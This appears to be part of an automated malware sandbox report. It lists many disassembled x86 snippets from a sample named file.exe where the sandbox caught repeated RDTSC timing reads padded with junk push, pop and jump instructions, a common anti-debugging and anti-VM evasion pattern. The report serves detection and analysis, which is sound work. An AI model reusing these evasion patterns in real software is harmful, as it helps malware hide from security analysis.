Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913820 second address: 913826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918BE7 second address: 918BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 917E58 second address: 917E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918138 second address: 918146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918146 second address: 918153 instructions: 0x00000000 rdtsc 0x00000002 js 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918153 second address: 918159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9183F3 second address: 918416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F33C4756A42h 0x0000000b jmp 00007F33C4756A36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918575 second address: 91857B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91857B second address: 918581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918581 second address: 918585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9186C5 second address: 9186C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9186C9 second address: 9186CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9232FD second address: 923303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923303 second address: 92334B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F33C5AF17C6h 0x0000000d pop ecx 0x0000000e jns 00007F33C5AF17D7h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007F33C5AF17D8h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923491 second address: 9234A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 je 00007F33C4756A26h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9234A0 second address: 9234A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9234A6 second address: 9234AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9234AA second address: 9234CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F33C5AF17CDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92375E second address: 923763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923763 second address: 923773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33C5AF17CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923773 second address: 923798 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33C4756A38h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923A1D second address: 923A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D3h 0x00000007 pushad 0x00000008 jo 00007F33C5AF17C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923A3B second address: 923A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923B97 second address: 923BAE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33C5AF17C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33C5AF17CBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923BAE second address: 923BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923BB2 second address: 923BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923EA3 second address: 923EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923EAA second address: 923EBA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33C5AF17D2h 0x00000008 ja 00007F33C5AF17C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923EBA second address: 923EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923EC4 second address: 923EDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924973 second address: 924980 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33C4756A28h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924980 second address: 92499F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9250E7 second address: 9250F4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33C4756A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9250F4 second address: 925151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F33C5AF17D9h 0x0000000a jl 00007F33C5AF17DAh 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F33C5AF17D2h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b jmp 00007F33C5AF17D6h 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jns 00007F33C5AF17C6h 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925151 second address: 925155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925155 second address: 92515B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92515B second address: 925161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925161 second address: 925168 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922E98 second address: 922EAE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F33C4756A26h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F33C4756A26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922EAE second address: 922EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 922EB2 second address: 922EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F33C4756A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DB0E second address: 92DB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33C5AF17C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D697 second address: 92D6DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F33C4756A34h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F33C4756A31h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D6DB second address: 92D6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D6DF second address: 92D6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D815 second address: 92D81A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D81A second address: 92D841 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F33C4756A2Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33C4756A37h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CBC2 second address: 93CBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93CBCA second address: 93CBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C682 second address: 93C69D instructions: 0x00000000 rdtsc 0x00000002 js 00007F33C5AF17C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F33C5AF17CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C69D second address: 93C6A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F33C4756A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C6A9 second address: 93C6DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F33C5AF17E2h 0x0000000f jmp 00007F33C5AF17D2h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C80E second address: 93C81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F33C4756A2Ah 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E86D second address: 93E877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93E877 second address: 93E8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F33C4756A31h 0x0000000d jmp 00007F33C4756A2Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94107B second address: 94107F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94107F second address: 9410B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F33C4756A33h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 jmp 00007F33C4756A33h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9410B9 second address: 9410BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9410BD second address: 9410C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9410C3 second address: 9410C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9410C9 second address: 9410D9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33C4756A2Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9410D9 second address: 9410DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 946547 second address: 946551 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33C4756A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865A31 second address: 865A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D5h 0x00000009 ja 00007F33C5AF17C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F33C5AF17CEh 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865A64 second address: 865A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950074 second address: 95007E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 957041 second address: 95705F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F33C4756A33h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95705F second address: 957072 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007F33C5AF17E2h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9574CA second address: 9574CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958109 second address: 958120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F33C5AF17C8h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958120 second address: 958125 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 958125 second address: 95812B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B062 second address: 95B068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B068 second address: 95B072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B072 second address: 95B076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC92 second address: 95ACA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 pop edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95ACA1 second address: 95ACA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2A6 second address: 96C2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965630 second address: 965635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965635 second address: 965641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F33C5AF17C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965641 second address: 965645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978DEA second address: 978E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F33C5AF17D3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 978972 second address: 978976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E717 second address: 98E71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E71D second address: 98E731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 je 00007F33C4756A26h 0x0000000b jp 00007F33C4756A26h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E8A3 second address: 98E8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F0E3 second address: 98F0E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F0E7 second address: 98F119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F33C5AF17CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33C5AF17D6h 0x00000015 jg 00007F33C5AF17C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F412 second address: 98F418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F418 second address: 98F41E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F41E second address: 98F431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33C4756A2Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F431 second address: 98F435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F435 second address: 98F458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F33C4756A36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F458 second address: 98F47F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F33C5AF17D0h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F47F second address: 98F490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33C4756A2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C93 second address: 993C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C97 second address: 993C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993C9B second address: 993CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967EB second address: 9967F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50245 second address: 4F50266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F33C5AF17CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50266 second address: 4F502A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 353D93E2h 0x00000008 mov ah, bl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F33C4756A35h 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F33C4756A2Eh 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502A0 second address: 4F502BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
